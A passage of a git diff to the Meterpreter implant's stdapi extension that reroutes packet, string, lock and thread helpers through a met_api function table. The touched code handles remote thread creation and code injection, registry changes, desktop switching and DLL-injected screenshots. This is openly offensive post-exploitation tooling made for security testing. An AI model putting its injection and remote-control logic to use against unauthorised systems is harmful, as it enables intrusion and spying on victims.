TLV_TYPE_EXIT_CODE); + code = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); if (!TerminateThread(thread, code)) result = GetLastError(); @@ -317,7 +316,7 @@ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -329,13 +328,13 @@ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index; @@ -404,7 +403,7 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) reg[2].buffer = (PUCHAR)&valNbo; // Add the register - packet_add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3); } } else @@ -412,7 +411,7 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -425,13 +424,13 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index = 0; @@ -449,7 +448,7 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) } // Enumerate through all of the register we're setting - while (packet_enum_tlv(packet, index++, TLV_TYPE_REGISTER, + while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_REGISTER, ®) == ERROR_SUCCESS) { LPCSTR name; @@ -457,14 +456,14 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) Tlv nameTlv, valueTlv; // Get the group's entries - if ((packet_get_tlv_group_entry(packet, ®, + if ((met_api->packet.get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_NAME, &nameTlv) != ERROR_SUCCESS) || - (packet_get_tlv_group_entry(packet, ®, + (met_api->packet.get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_VALUE_32, &valueTlv) != ERROR_SUCCESS)) continue; // Validate them - if ((packet_is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS) + if ((met_api->packet.is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS) || (valueTlv.header.length < sizeof(ULONG))) continue; @@ -488,7 +487,7 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c index 01da4f72..cd76250a 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c @@ -1,5 +1,5 @@ #include "precomp.h" -#include "../../../../../common/arch/win/remote_thread.h" +#include "common_metapi.h" DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, LPVOID *buffer, DWORD length, DWORD prot); @@ -36,7 +36,7 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, } // Create the thread in the target process - if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId))) + if (!(thread = met_api->thread.create_remote(process, 0, codeInProcess, paramInProcess, 0, &threadId))) { result = GetLastError(); break; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c index fc725c08..8a5ffe36 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include /*! @@ -9,13 +10,13 @@ */ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -28,13 +29,13 @@ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) } dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE"); - packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists); + met_api->packet.add_tlv_bool(response, TLV_TYPE_BOOL, exists); result = ERROR_SUCCESS; } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -51,14 +52,14 @@ out: */ DWORD request_registry_load_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - wchar_t *hiveFile = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + wchar_t *hiveFile = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey && hiveFile) { @@ -67,20 +68,20 @@ DWORD request_registry_load_key(Remote *remote, Packet *packet) free(baseKey); free(hiveFile); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } DWORD request_registry_unload_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -88,16 +89,16 @@ DWORD request_registry_unload_key(Remote *remote, Packet *packet) } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) { - *rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); + *rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -126,7 +127,7 @@ static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) */ DWORD request_registry_open_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } @@ -137,10 +138,10 @@ DWORD request_registry_open_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -156,15 +157,15 @@ out: */ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } HKEY resKey = NULL; - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *targetHost = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *targetHost = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST)); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -174,11 +175,11 @@ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } free(targetHost); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -195,15 +196,15 @@ out: */ DWORD request_registry_create_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } HKEY resKey = NULL; - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -218,18 +219,18 @@ DWORD request_registry_create_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } static void enum_key(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -259,9 +260,9 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) result = RegEnumKeyW(hkey, index, name, maxSubKeyLen); if (result == ERROR_SUCCESS) { - char *tmp = wchar_to_utf8(name); + char *tmp = met_api->string.wchar_to_utf8(name); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_KEY_NAME, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_KEY_NAME, tmp); free(tmp); } } else { @@ -276,12 +277,12 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) free(name); err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } static void enum_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -313,9 +314,9 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { - char *tmp = wchar_to_utf8(name); + char *tmp = met_api->string.wchar_to_utf8(name); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_VALUE_NAME, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_VALUE_NAME, tmp); free(tmp); } } else { @@ -330,7 +331,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) free(name); err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } @@ -345,7 +346,7 @@ err: */ DWORD request_registry_enum_key(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); enum_key(remote, packet, hkey); return ERROR_SUCCESS; @@ -386,14 +387,14 @@ DWORD request_registry_enum_key_direct(Remote *remote, Packet *packet) */ DWORD request_registry_delete_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -405,7 +406,7 @@ DWORD request_registry_delete_key(Remote *remote, Packet *packet) } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -419,12 +420,12 @@ out: */ DWORD request_registry_close_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); DWORD result = ERROR_INVALID_PARAMETER; if (hkey) { @@ -432,7 +433,7 @@ DWORD request_registry_close_key(Remote *remote, Packet *packet) } // Set the result and send the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -488,7 +489,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t *length) for (i = 0; i < count; i++) { wchar_t * tmp_buf = calloc(strlen(string_arr[i]) + 1, sizeof(wchar_t)); - tmp_buf = utf8_to_wchar(string_arr[i]); + tmp_buf = met_api->string.utf8_to_wchar(string_arr[i]); wcsncpy(ptr, tmp_buf, wcslen(tmp_buf) + 1); // join the splited strings. ptr += wcslen(tmp_buf) + 1; // append next string to the end of last string, keep the null-terminater. @@ -504,7 +505,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t *length) static void set_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -515,11 +516,11 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) Tlv valueData; // Acquire the standard TLVs - valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); - valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); + valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + valueType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); // Get the value data TLV - if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { + if (met_api->packet.get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; } else { // Now let's rock this shit! @@ -528,7 +529,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) switch (valueType) { case REG_SZ: case REG_EXPAND_SZ: - buf = utf8_to_wchar(valueData.buffer); + buf = met_api->string.utf8_to_wchar(valueData.buffer); len = (wcslen(buf) + 1) * sizeof(wchar_t); break; case REG_MULTI_SZ: @@ -548,7 +549,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) free(valueName); // Populate the result code - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } /* @@ -563,7 +564,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) */ DWORD request_registry_set_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); set_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -596,7 +597,7 @@ DWORD request_registry_set_value_direct(Remote *remote, Packet *packet) static void query_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -608,7 +609,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) DWORD result = ERROR_SUCCESS; DWORD valueType = 0; - valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); // Get the size of the value data if ((result = RegQueryValueExW(hkey, valueName, 0, NULL, NULL, @@ -630,26 +631,26 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) } // Add the information about the value to the response - packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); + met_api->packet.add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); switch (valueType) { case REG_SZ: case REG_EXPAND_SZ: - tmp = wchar_to_utf8((wchar_t *)valueData); + tmp = met_api->string.wchar_to_utf8((wchar_t *)valueData); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_VALUE_DATA, tmp); free(tmp); } else { - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); } break; case REG_DWORD: - packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_uint(response, TLV_TYPE_VALUE_DATA, *(LPDWORD)valueData); break; default: - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); break; } @@ -657,7 +658,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) err: free(valueName); // Populate the result code - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } /* @@ -670,7 +671,7 @@ err: */ DWORD request_registry_query_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); query_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -708,7 +709,7 @@ DWORD request_registry_query_value_direct(Remote *remote, Packet *packet) */ DWORD request_registry_enum_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); enum_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -746,13 +747,13 @@ DWORD request_registry_enum_value_direct(Remote *remote, Packet *packet) */ DWORD request_registry_delete_value(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); - wchar_t *valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); + wchar_t *valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); DWORD result = ERROR_INVALID_PARAMETER; if (hkey && valueName) { @@ -760,7 +761,7 @@ DWORD request_registry_delete_value(Remote *remote, Packet *packet) } free(valueName); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -774,12 +775,12 @@ out: */ DWORD request_registry_query_class(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); DWORD result = ERROR_INVALID_PARAMETER; if (!hkey) { @@ -792,12 +793,12 @@ DWORD request_registry_query_class(Remote *remote, Packet *packet) result = RegQueryInfoKeyA(hkey, className, &classNameLen, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, className, classNameLen); } err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index 648585b0..ad0827ff 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "./../sys/session.h" #include "./../sys/process/ps.h" @@ -45,7 +46,7 @@ BOOL CALLBACK desktop_enumdesktops_callback(LPTSTR cpDesktopName, LPARAM lpParam entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1); entry[2].buffer = (PUCHAR)cpDesktopName; - packet_add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3); + met_api->packet.add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3); } while (0); @@ -94,10 +95,10 @@ DWORD request_ui_desktop_enum(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_enum. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } EnumWindowStations(desktop_enumstations_callback, (LPARAM)response); @@ -106,7 +107,7 @@ DWORD request_ui_desktop_enum(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return ERROR_SUCCESS; @@ -122,25 +123,25 @@ DWORD request_ui_desktop_get(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_get. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - lock_acquire(remote->lock); + met_api->lock.acquire(remote->lock); - packet_add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id); - packet_add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name); - packet_add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name); + met_api->packet.add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id); + met_api->packet.add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name); + met_api->packet.add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name); - lock_release(remote->lock); + met_api->lock.release(remote->lock); } while (0); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return ERROR_SUCCESS; @@ -164,13 +165,13 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_set. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - dwSessionId = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION); + dwSessionId = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION); if (!dwSessionId) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER); @@ -181,19 +182,19 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) dwSessionId = session_id(GetCurrentProcessId()); } - cpStationName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION); + cpStationName = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION); if (!cpStationName) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER); } - cpDesktopName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME); + cpDesktopName = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME); if (!cpDesktopName) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER); } - bSwitch = packet_get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH); + bSwitch = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH); dprintf("[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch); @@ -240,7 +241,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) } } - core_update_desktop(remote, dwSessionId, cpStationName, cpDesktopName); + met_api->desktop.update(remote, dwSessionId, cpStationName, cpDesktopName); } else { @@ -252,7 +253,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (hDesktop) @@ -272,7 +273,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (dwResult != ERROR_SUCCESS) { - core_update_desktop(remote, -1, NULL, NULL); + met_api->desktop.update(remote, -1, NULL, NULL); } return ERROR_SUCCESS; @@ -320,7 +321,7 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) while (TRUE) { - if (event_poll(thread->sigterm, 0)) + if (met_api->event.poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } @@ -373,7 +374,7 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) dwTotal += dwRead; } - dwResult = packet_add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal); + dwResult = met_api->packet.add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal); break; } @@ -413,13 +414,13 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - quality = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY); + quality = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY); if (quality < 1 || quality > 100) { quality = 50; @@ -428,11 +429,11 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) // get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes // we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system // we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into. - DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH); - DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string(request, 